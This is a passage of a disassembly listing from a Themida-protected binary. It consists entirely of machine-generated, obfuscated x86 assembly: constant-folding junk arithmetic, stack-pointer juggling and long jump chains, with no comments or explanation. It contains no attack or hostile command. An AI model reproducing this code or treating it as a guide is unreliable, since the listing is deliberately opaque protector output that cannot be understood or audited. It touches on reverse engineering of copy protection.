loc_55595C:				; CODE XREF: Themida_:0055B89Cj
		push	bx
		mov	bl, 0E1h
		xor	ch, bl
		mov	bx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		mov	bl, ch
		mov	ah, bl
		jmp	loc_55A988
; ---------------------------------------------------------------------------


loc_555983:				; CODE XREF: Themida_:00555A16j
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_55C834
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 34890000h, 3E1F6824h, 94E90000h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5559AF:				; CODE XREF: Themida_:0055A9EDj
		pop	ecx
		push	edi
		push	esp
		jmp	loc_55589E
; ---------------------------------------------------------------------------


loc_5559B7:				; CODE XREF: Themida_:0055882Aj
		add	esp, 4
		xor	bl, al
		jmp	loc_55A0CA
; ---------------------------------------------------------------------------


loc_5559C1:				; CODE XREF: Themida_:00558AF9j
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, ebx
		push	1542h
		mov	[esp], ebp
		jmp	loc_556065
; ---------------------------------------------------------------------------


loc_5559D6:				; CODE XREF: Themida_:005557EDj
		push	ecx
		mov	ecx, 600A38AFh
		mov	eax, 600A38AFh
		xor	eax, ecx
		pop	ecx
		add	eax, edx
		add	dword ptr [eax], 1
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4


loc_555A01:				; CODE XREF: Themida_:0055BDA9j
		push	2248h
		jmp	loc_55D07C
; ---------------------------------------------------------------------------
		push	6859h
		push	2EFBh
		push	esp
		jmp	loc_555983
; ---------------------------------------------------------------------------


loc_555A1B:				; CODE XREF: Themida_:00556BBCj
		pop	ebp
		mov	esi, ebx
		pop	ebx
		push	esi
		pop	ebx
		pop	esi
		xor	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5552A4
; ---------------------------------------------------------------------------


loc_555A3F:				; CODE XREF: Themida_:0055D172j
		add	eax, 6EE43874h
		xor	eax, 5FD50C0Fh
		add	ecx, eax
		jmp	loc_551FE0
; ---------------------------------------------------------------------------


loc_555A50:				; CODE XREF: Themida_:00554933j
		mov	ecx, [esp]
		push	12A2h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, edx
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		jmp	loc_55A74B
; ---------------------------------------------------------------------------


loc_555A7C:				; CODE XREF: Themida_:005593DAj
		mov	bh, 0F5h
		mov	ch, bh
		jmp	loc_555DD1
; ---------------------------------------------------------------------------


loc_555A85:				; CODE XREF: Themida_:0055B012j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_553D0D
; ---------------------------------------------------------------------------


loc_555A92:				; CODE XREF: Themida_:005527F0j
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5531C4
		push	ebx
		mov	ebx, 1Ch
		push	edx
		mov	edx, 163F20DAh
		add	ebx, edx
		pop	edx
		add	ebx, edi
		push	edx
		mov	edx, 163F20DAh
		sub	ebx, edx
		mov	edx, [esp]
		push	esi
		push	esp
		jmp	loc_55962F
; ---------------------------------------------------------------------------


loc_555AC3:				; CODE XREF: Themida_:0055426Bj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_559984
; ---------------------------------------------------------------------------


loc_555ADB:				; CODE XREF: Themida_:0055BC23j
		pop	esp
		push	edx
		mov	edx, 27D7667Eh
		sub	ebx, edx
		pop	edx
		sub	ebx, 7974374Bh
		add	ebx, edi
		add	ebx, 7974374Bh
		add	ebx, 27D7667Eh
		push	dword ptr [ebx]
		push	esi
		jmp	loc_559437
; ---------------------------------------------------------------------------


loc_555B01:				; CODE XREF: Themida_:0055583Ej
		add	edi, 27E23176h
		and	edi, 1CDE53B4h
		and	edi, 63306A86h
		dec	edi
		xchg	esi, edi
		jmp	loc_559829
; ---------------------------------------------------------------------------


loc_555B1B:				; CODE XREF: Themida_:00553DAAj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebx
		mov	ebx, 591C585Bh
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	4BE5h
		mov	[esp], edi
		jmp	loc_558175
; ---------------------------------------------------------------------------


loc_555B48:				; CODE XREF: Themida_:0055588Ej
		add	esi, 0DF76B92Eh
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_554E93
; ---------------------------------------------------------------------------


loc_555B67:				; CODE XREF: Themida_:00558F98j
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 13369C5h
		push	ecx
		jmp	loc_55D8BA
; ---------------------------------------------------------------------------


loc_555B7B:				; CODE XREF: Themida_:0055AA13j
		add	al, 0Fh
		sub	al, bl
		push	ebx
		mov	bh, 6Eh
		jmp	loc_558D0C
; ---------------------------------------------------------------------------


loc_555B87:				; CODE XREF: Themida_:0055789Aj
		xor	cl, 79h
		jmp	loc_55C3BE
; ---------------------------------------------------------------------------


loc_555B8F:				; CODE XREF: Themida_:0055D40Dj
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_55CA52
; ---------------------------------------------------------------------------


loc_555B9E:				; CODE XREF: Themida_:0055DBCCj
		push	edi
		push	4
		pop	edi
		jmp	loc_559463
; ---------------------------------------------------------------------------


loc_555BAA:				; CODE XREF: Themida_:00553D6Fj
		not	al
		add	al, 0FFh
		sub	al, 1Dh
		sub	dl, 56h
		jmp	loc_55BD05
; ---------------------------------------------------------------------------


loc_555BB8:				; CODE XREF: Themida_:0055911Aj
		pop	esp
		mov	cx, [esp]
		push	ebp
		push	eax
		mov	eax, esp
		jmp	loc_55824B
; ---------------------------------------------------------------------------


loc_555BC6:				; CODE XREF: Themida_:0055CC32j
		push	ebx
		mov	ebx, 1E20F26h
		mov	edi, ebx
		pop	ebx
		shr	edi, 3
		sub	edi, 3C41E0h
		jmp	loc_554088
; ---------------------------------------------------------------------------


loc_555BDD:				; CODE XREF: Themida_:00555790j
		xor	edi, ebx
		pop	ebx
		add	ebx, 26491C75h
		sub	ebx, edi
		sub	ebx, 26491C75h
		jmp	loc_559749
; ---------------------------------------------------------------------------


loc_555BF3:				; CODE XREF: Themida_:00555877j
		push	ecx
		mov	ch, 18h
		and	ch, 8Dh
		add	ch, 0CBh
		shl	ch, 1
		add	ch, 1
		jmp	loc_55488C
; ---------------------------------------------------------------------------


loc_555C06:				; CODE XREF: Themida_:00553671j
		add	ebp, 37B16961h
		push	edx
		mov	edx, 60B03B35h
		shl	edx, 8
		or	edx, 45C67D47h
		shl	edx, 2
		xor	edx, 392A6304h
		push	edi
		mov	edi, 68227BCDh
		jmp	loc_555DCA
; ---------------------------------------------------------------------------


loc_555C2F:				; CODE XREF: Themida_:00553A19j
		push	ebx
		push	edx
		push	ebp
		mov	ebp, 73891F27h
		mov	edx, ebp
		pop	ebp
		neg	edx
		neg	edx
		and	edx, 223756ACh
		shr	edx, 8
		push	ebx
		mov	ebx, 409D2540h
		xor	edx, ebx
		pop	ebx
		mov	ebx, edx
		pop	edx
		add	ebx, 0BF40DC2Ah
		and	ecx, ebx
		jmp	loc_55C61A
; ---------------------------------------------------------------------------


loc_555C60:				; CODE XREF: Themida_:0055AC59j
		push	edi
		mov	edi, 9441F15Fh
		sub	esi, 0F536B3h
		sub	esi, edi
		add	esi, 0F536B3h
		pop	edi
		jmp	loc_55DC4C
; ---------------------------------------------------------------------------


loc_555C7A:				; CODE XREF: Themida_:00552EB1j
		shl	ebp, 3
		push	edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_5571E2
; ---------------------------------------------------------------------------


loc_555C88:				; CODE XREF: Themida_:00553EF5j
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_555C9E:				; CODE XREF: Themida_:00557F40j
		xor	ebx, 0B1A5143h
		mov	edi, ebx
		jmp	loc_55B64A
; ---------------------------------------------------------------------------


loc_555CAB:				; CODE XREF: Themida_:0055848Fj
		push	edx
		jmp	loc_554CA9
; ---------------------------------------------------------------------------


loc_555CB1:				; CODE XREF: Themida_:00551D4Dj
		add	al, 4Ch
		push	ecx
		mov	cl, 0Fh
		sub	cl, 0C5h
		push	bx
		push	ecx
		jmp	loc_55788C
; ---------------------------------------------------------------------------


loc_555CC1:				; CODE XREF: Themida_:0055370Bj
		mov	si, 1119h
		xor	si, 1CA7h
		sub	si, 25DBh
		inc	si
		neg	si
		sub	si, 4B5Ch
		jmp	loc_558276
; ---------------------------------------------------------------------------


loc_555CDE:				; CODE XREF: Themida_:00552E14j
		pop	ebx
		sub	esi, ebx
		pop	ebx
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		shr	esi, 4
		jmp	loc_5528B0
; ---------------------------------------------------------------------------


loc_555CF0:				; CODE XREF: Themida_:0055BB2Cj
		mov	ebp, 7DA53ACBh
		shr	ebp, 7
		push	eax
		jmp	loc_556198
; ---------------------------------------------------------------------------


loc_555CFE:				; CODE XREF: Themida_:005582DBj
		mov	edx, 225C619Dh
		shl	edx, 1
		add	edx, 23380899h
		jmp	loc_559E17
; ---------------------------------------------------------------------------


loc_555D10:				; CODE XREF: Themida_:00557AB9j
		mov	ecx, 5B013524h
		sub	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 489155B4h
		jmp	loc_558115
; ---------------------------------------------------------------------------


loc_555D23:				; CODE XREF: Themida_:005554BBj
		pop	esp
		jmp	loc_551F48
; ---------------------------------------------------------------------------


loc_555D29:				; CODE XREF: Themida_:0055D270j
		sub	eax, 44D31987h
		jmp	loc_558446
; ---------------------------------------------------------------------------


loc_555D33:				; CODE XREF: Themida_:00556171j
		sub	dword ptr [esp], 1BFB2252h
		pop	esi
		jmp	loc_55AA7B
; ---------------------------------------------------------------------------


loc_555D40:				; CODE XREF: Themida_:005521DCj
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 3FAE4485h
		shr	esi, 3
		xor	esi, 7D9804E5h
		jmp	loc_55D2A5
; ---------------------------------------------------------------------------


loc_555D59:				; CODE XREF: Themida_:00556609j
		or	cx, 1748h
		sub	cx, 0DF2Dh
		sub	ax, 4C74h
		sub	ax, cx
		push	si
		mov	si, 4C74h
		jmp	loc_55B5D1
; ---------------------------------------------------------------------------


loc_555D75:				; CODE XREF: Themida_:00558C2Aj
		mov	eax, edx
		pop	edx
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		pop	ebx
		pop	ecx
		or	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552CF8
; ---------------------------------------------------------------------------


loc_555DA2:				; CODE XREF: Themida_:0055D0CFj
		mov	esi, esp
		add	esi, 4
		jmp	loc_55B42B
; ---------------------------------------------------------------------------


loc_555DAF:				; CODE XREF: Themida_:0055BDF9j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 21CE14A8h
		jmp	loc_55AC77
; ---------------------------------------------------------------------------


loc_555DC1:				; CODE XREF: Themida_:0055CC5Bj
		mov	dh, 6Eh
		shr	dh, 1
		jmp	loc_558039
; ---------------------------------------------------------------------------


loc_555DCA:				; CODE XREF: Themida_:00555C2Aj
		or	edx, edi
		jmp	loc_55568C
; ---------------------------------------------------------------------------


loc_555DD1:				; CODE XREF: Themida_:00555A80j
		pop	ebx
		jmp	loc_553C3E
; ---------------------------------------------------------------------------


loc_555DD7:				; CODE XREF: Themida_:00555FFEj
		dec	esi
		inc	esi
		jmp	loc_557671
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	0B5Ch
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 228603DEh
		sub	ecx, 177623EBh
		neg	ecx
		add	ecx, 0B0FDFF7h
		add	edx, 5BFF4BBBh
		add	edx, ecx
		push	edi
		push	ecx
		mov	ecx, 3C691ABFh
		mov	edi, 9C715EB1h
		sub	edi, ecx
		pop	ecx
		xor	edi, 4AD769FCh
		jmp	loc_559DBA
; ---------------------------------------------------------------------------


loc_555E21:				; CODE XREF: Themida_:0055C8D5j
		mov	[esp], ebp
		push	5F6D6C22h
		pop	ebp
		jmp	loc_557587
; ---------------------------------------------------------------------------


loc_555E2F:				; CODE XREF: Themida_:00559205j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2D62623Dh
		dec	edi
		not	edi
		add	edi, 6024404Fh
		push	edx
		mov	edx, 76082B7Ah
		sub	edi, edx
		pop	edx
		xor	edi, 8002C88Dh
		add	eax, edi
		pop	edi
		add	eax, 5B2B5951h
		sub	eax, ebx
		jmp	loc_55A7CE
; ---------------------------------------------------------------------------


loc_555E64:				; CODE XREF: Themida_:0055D1DAj
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		jmp	loc_55BA14
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edi
		jmp	loc_55C96C
; ---------------------------------------------------------------------------


loc_555E77:				; CODE XREF: Themida_:00552C7Ej
		mov	eax, 4
		add	ecx, 4D3327C7h
		sub	ecx, eax
		sub	ecx, 4D3327C7h
		pop	eax
		push	46C9h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 800h
		push	ebp
		jmp	loc_55347D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 581A11F9h
		or	ecx, 62F24C50h
		push	ebx
		mov	ebx, 50DD6467h
		shl	ebx, 6
		add	ebx, 34D261F1h
		push	ebp
		mov	ebp, 1B1D23F8h
		inc	ebp
		sub	ebp, 38001A0Eh
		and	ebp, 230E5812h
		inc	ebp
		add	ebp, 1A4B5ABCh
		xor	ebx, ebp
		pop	ebp
		add	ebx, 297E44E7h
		jmp	loc_55C4DA
; ---------------------------------------------------------------------------


loc_555F00:				; CODE XREF: Themida_:005554AAj
		sub	esi, eax
		pop	eax
		shl	esi, 1
		xor	esi, 17EC4845h
		jmp	loc_559F59
; ---------------------------------------------------------------------------


loc_555F10:				; CODE XREF: Themida_:00554EE1j
		add	eax, edx
		sub	eax, 1DB41175h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_557077
; ---------------------------------------------------------------------------


loc_555F34:				; CODE XREF: Themida_:005553BDj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		xor	eax, 591C585Bh
		push	790Dh
		mov	[esp], edi
		push	80000h
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_551A3B
; ---------------------------------------------------------------------------


loc_555F6B:				; CODE XREF: Themida_:00559F07j
		mov	esi, edi
		pop	edi
		add	ecx, 13440421h
		jmp	loc_556074
; ---------------------------------------------------------------------------


loc_555F79:				; CODE XREF: Themida_:0055D7D9j
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_556E29
; ---------------------------------------------------------------------------


loc_555F8E:				; CODE XREF: Themida_:0055B21Cj
		pop	ecx
		jmp	loc_55DD56
; ---------------------------------------------------------------------------


loc_555F94:				; CODE XREF: Themida_:0055A5E6j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55B59C
; ---------------------------------------------------------------------------


loc_555F9F:				; CODE XREF: Themida_:005597A7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5575F7
; ---------------------------------------------------------------------------


loc_555FAE:				; CODE XREF: Themida_:005522F3j
		pop	eax
		rep movsd
		add	esp, [edx+38h]
		push	1463h
		mov	[esp], ecx
		push	eax
		jmp	loc_55B357
; ---------------------------------------------------------------------------


loc_555FC2:				; CODE XREF: Themida_:0055B33Fj
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_555FCD:				; CODE XREF: Themida_:0055CA40j
		sub	esp, 4
		jmp	loc_558B75
; ---------------------------------------------------------------------------


loc_555FD8:				; CODE XREF: Themida_:005525C9j
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	0
		sub	[esp], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555DD7
; ---------------------------------------------------------------------------


loc_556003:				; CODE XREF: Themida_:005519AFj
		mov	bl, 0E7h
		shr	bl, 4
		jmp	loc_5535E7
; ---------------------------------------------------------------------------


loc_55600D:				; CODE XREF: Themida_:00557DEAj
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	2A24h
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_559657
; ---------------------------------------------------------------------------


loc_556027:				; CODE XREF: Themida_:0055C4E7j
		push	eax
		mov	eax, 7DD23874h
		add	edi, eax
		pop	eax
		add	edi, ebx
		sub	edi, 7DD23874h
		jmp	loc_5555F6
; ---------------------------------------------------------------------------


loc_55603D:				; CODE XREF: Themida_:005580C8j
		sub	ebp, 678D4775h
		pop	edi
		sub	ebp, 9BA82421h
		and	ecx, ebp
		jmp	loc_55DCC9
; ---------------------------------------------------------------------------


loc_556051:				; CODE XREF: Themida_:005524AAj
		pop	ebx
		add	esi, ebx
		jmp	loc_55662D
; ---------------------------------------------------------------------------


loc_556059:				; CODE XREF: Themida_:00554A48j
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556065:				; CODE XREF: Themida_:005559D1j
		push	edi
		mov	edi, 21CE14A8h
		add	[esp+4], edi
		jmp	loc_556FCD
; ---------------------------------------------------------------------------


loc_556074:				; CODE XREF: Themida_:00555F74j
		add	ecx, esi
		jmp	loc_554CD8
; ---------------------------------------------------------------------------


loc_55607B:				; CODE XREF: Themida_:0055A436j
		pop	ecx
		push	ecx
		jmp	loc_554FB3
; ---------------------------------------------------------------------------


loc_556082:				; CODE XREF: Themida_:00554083j
		push	500Bh
		mov	[esp], ebp
		jmp	loc_55831C
; ---------------------------------------------------------------------------


loc_55608F:				; CODE XREF: Themida_:00556AEAj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 62415C2Fh
		not	ebx
		jmp	loc_555838
; ---------------------------------------------------------------------------


loc_5560A4:				; CODE XREF: Themida_:0055B0B0j
		sub	al, 0D8h
		sub	al, 30h
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 34h
		push	739h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_555731
; ---------------------------------------------------------------------------


loc_5560CB:				; CODE XREF: Themida_:0055871Aj
		sub	ecx, 79800C96h
		jmp	loc_55655F
; ---------------------------------------------------------------------------


loc_5560D6:				; CODE XREF: Themida_:0055A7FDj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_558791
; ---------------------------------------------------------------------------


loc_5560F2:				; CODE XREF: Themida_:0055998Cj
		push	dword ptr [esp]
		jmp	loc_553789
; ---------------------------------------------------------------------------


loc_5560FA:				; CODE XREF: Themida_:00552948j
		push	ebx
		mov	bl, 81h
		push	ebx
		mov	bh, 79h
		jmp	loc_5558A6
; ---------------------------------------------------------------------------


loc_556105:				; CODE XREF: Themida_:00551CA0j
		push	eax
		mov	al, 72h
		sub	al, 89h
		add	al, 0C4h
		mov	ch, al
		pop	eax
		mov	al, ch
		pop	ecx
		dec	al
		sub	al, 56h
		jmp	loc_5585FA
; ---------------------------------------------------------------------------


loc_55611B:				; CODE XREF: Themida_:005595C5j
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55A48B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_555567
; ---------------------------------------------------------------------------


loc_556136:				; CODE XREF: Themida_:00556D59j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_55BBB0
; ---------------------------------------------------------------------------


loc_556149:				; CODE XREF: Themida_:00552C72j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5549DC
; ---------------------------------------------------------------------------


loc_556154:				; CODE XREF: Themida_:0055B13Cj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_553198
; ---------------------------------------------------------------------------


loc_55615E:				; CODE XREF: Themida_:0055258Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		push	ebp
		mov	ebp, 4
		push	ebp
		jmp	loc_555D33
; ---------------------------------------------------------------------------


loc_556176:				; CODE XREF: Themida_:00554F82j
		pop	ebp
		xor	eax, ecx
		jmp	loc_557417
; ---------------------------------------------------------------------------


loc_55617E:				; CODE XREF: Themida_:00554A79j
		add	esi, 2D5E4A7Dh
		jmp	loc_552963
; ---------------------------------------------------------------------------


loc_556189:				; CODE XREF: Themida_:0055B492j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556198:				; CODE XREF: Themida_:00555CF9j
		mov	eax, 76C742DFh
		jmp	loc_556FE1
; ---------------------------------------------------------------------------


loc_5561A2:				; CODE XREF: Themida_:0055334Aj
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5561B2:				; CODE XREF: Themida_:0055B206j
		sub	ebx, 12A765AAh
		push	ebp
		mov	ebp, 92437B0h
		inc	ebp
		shr	ebp, 3
		or	ebp, 110C62ACh
		xor	ebp, 40787CB3h
		add	ebx, ebp
		pop	ebp
		add	esi, ebx
		pop	ebx
		add	esi, 2
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55A3A5
; ---------------------------------------------------------------------------


loc_5561ED:				; CODE XREF: Themida_:0055653Cj
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		push	5B70h
		jmp	loc_55B02B
; ---------------------------------------------------------------------------


loc_556206:				; CODE XREF: Themida_:0055C672j
		add	esp, 4
		xor	al, bh
		jmp	loc_556E1F
; ---------------------------------------------------------------------------


loc_556213:				; CODE XREF: Themida_:0055A502j
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55351D
; ---------------------------------------------------------------------------


loc_556225:				; CODE XREF: Themida_:005576B0j
		mov	[esp], ebx
		jmp	loc_55BA7C
; ---------------------------------------------------------------------------


loc_55622D:				; CODE XREF: Themida_:00557770j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55710C
; ---------------------------------------------------------------------------


loc_55623D:				; CODE XREF: Themida_:00558CF5j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_553263
; ---------------------------------------------------------------------------


loc_556256:				; CODE XREF: Themida_:00552B3Cj
		shr	eax, 7
		sub	eax, 0A95AE6DFh
		add	esi, eax
		pop	eax
		neg	esi
		xor	esi, 0F9AA0CFCh
		sub	ebx, 29C5B2Fh
		add	ebx, esi
		add	ebx, 29C5B2Fh
		pop	esi
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556291:				; CODE XREF: Themida_:0055B267j
		add	edx, edi
		jmp	loc_553836
; ---------------------------------------------------------------------------


loc_556298:				; CODE XREF: Themida_:0055DA53j
		push	6DFD6AEBh
		pop	esi
		add	esi, 24697384h
		add	esi, 6D992195h
		jmp	loc_552A7B
; ---------------------------------------------------------------------------


loc_5562AF:				; CODE XREF: Themida_:0055D480j
		pop	esi
		push	ebp
		mov	ebp, 21754230h
		jmp	loc_55AE05
; ---------------------------------------------------------------------------


loc_5562BB:				; CODE XREF: Themida_:005543CDj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_553AEB
; ---------------------------------------------------------------------------


loc_5562CB:				; CODE XREF: Themida_:0055830Cj
		xchg	edi, [esp]
		pop	esp
		and	eax, 289C400Dh
		sub	eax, 20880007h
		jmp	loc_5573C4
; ---------------------------------------------------------------------------


loc_5562DE:				; CODE XREF: Themida_:00553CF6j
		pop	eax
		jmp	loc_55B7F2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_5532F5
; ---------------------------------------------------------------------------


loc_5562EE:				; CODE XREF: Themida_:0055C168j
		pop	esp
		or	eax, eax
		jz	loc_55BC58
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 0A7C1202h
		pop	ecx
		jmp	loc_556B18
; ---------------------------------------------------------------------------


loc_556307:				; CODE XREF: Themida_:00557C34j
		sub	ecx, 1
		xor	ecx, 0CB34ABA4h
		jmp	loc_553572
; ---------------------------------------------------------------------------


loc_556315:				; CODE XREF: Themida_:0055A8EEj
		pop	ebp
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_55BDA7
; ---------------------------------------------------------------------------


loc_556330:				; CODE XREF: Themida_:005531E0j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_552E19
; ---------------------------------------------------------------------------


loc_556347:				; CODE XREF: Themida_:00555687j
		sub	dword ptr [esp+4], 55A50FD1h
		sub	[esp+4], esi
		add	dword ptr [esp+4], 55A50FD1h
		push	ebx
		mov	ebx, 6B444E6Ah
		add	dword ptr [esp+8], 38596494h
		jmp	loc_55DB92
; ---------------------------------------------------------------------------


loc_55636E:				; CODE XREF: Themida_:00559956j
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55637C:				; CODE XREF: Themida_:00558A90j
		push	ecx
		mov	ecx, 462C021Ah
		add	eax, ecx
		pop	ecx
		add	eax, 72794B48h
		jmp	loc_556C0E
; ---------------------------------------------------------------------------


loc_55638F:				; CODE XREF: Themida_:00553108j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_551D52
; ---------------------------------------------------------------------------


loc_5563A6:				; CODE XREF: Themida_:0055D6BEj
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_559019
; ---------------------------------------------------------------------------


loc_5563B7:				; CODE XREF: Themida_:0055320Cj
		mov	ebp, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_558603
; ---------------------------------------------------------------------------


loc_5563C4:				; CODE XREF: Themida_:00556E0Fj
		xchg	ebp, [esp]
		jmp	loc_55A5A1
; ---------------------------------------------------------------------------


loc_5563CC:				; CODE XREF: Themida_:00559FD3j
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		jmp	loc_5527D4
; ---------------------------------------------------------------------------


loc_5563DF:				; CODE XREF: Themida_:0055D9D5j
		shr	ebp, 5
		add	ebp, 0FECF4DCAh
		add	edx, ebp
		pop	ebp
		push	edi
		push	ebp
		mov	ebp, 51021514h
		jmp	loc_55659D
; ---------------------------------------------------------------------------


loc_5563F7:				; CODE XREF: Themida_:0055DD1Cj
		sub	edi, 3DF704D0h
		sub	edi, edx
		add	edi, 3DF704D0h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55402F
; ---------------------------------------------------------------------------


loc_556413:				; CODE XREF: Themida_:005579EDj
		push	0D79h
		mov	[esp], ebx
		push	ecx
		push	6B6D055Ah
		mov	ecx, [esp]
		add	esp, 4
		push	6999h
		mov	[esp], eax
		jmp	loc_552F00
; ---------------------------------------------------------------------------


loc_556437:				; CODE XREF: Themida_:0055CDF6j
		mov	edx, [esp]
		add	esp, 4
		add	edi, 8810F3FAh
		add	eax, edi
		pop	edi
		sub	eax, edx
		push	ecx
		mov	ecx, 4B418B1h
		sub	ecx, 15AF69Ch
		sub	eax, ecx
		pop	ecx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55D60B
; ---------------------------------------------------------------------------


loc_556467:				; CODE XREF: Themida_:00557A04j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
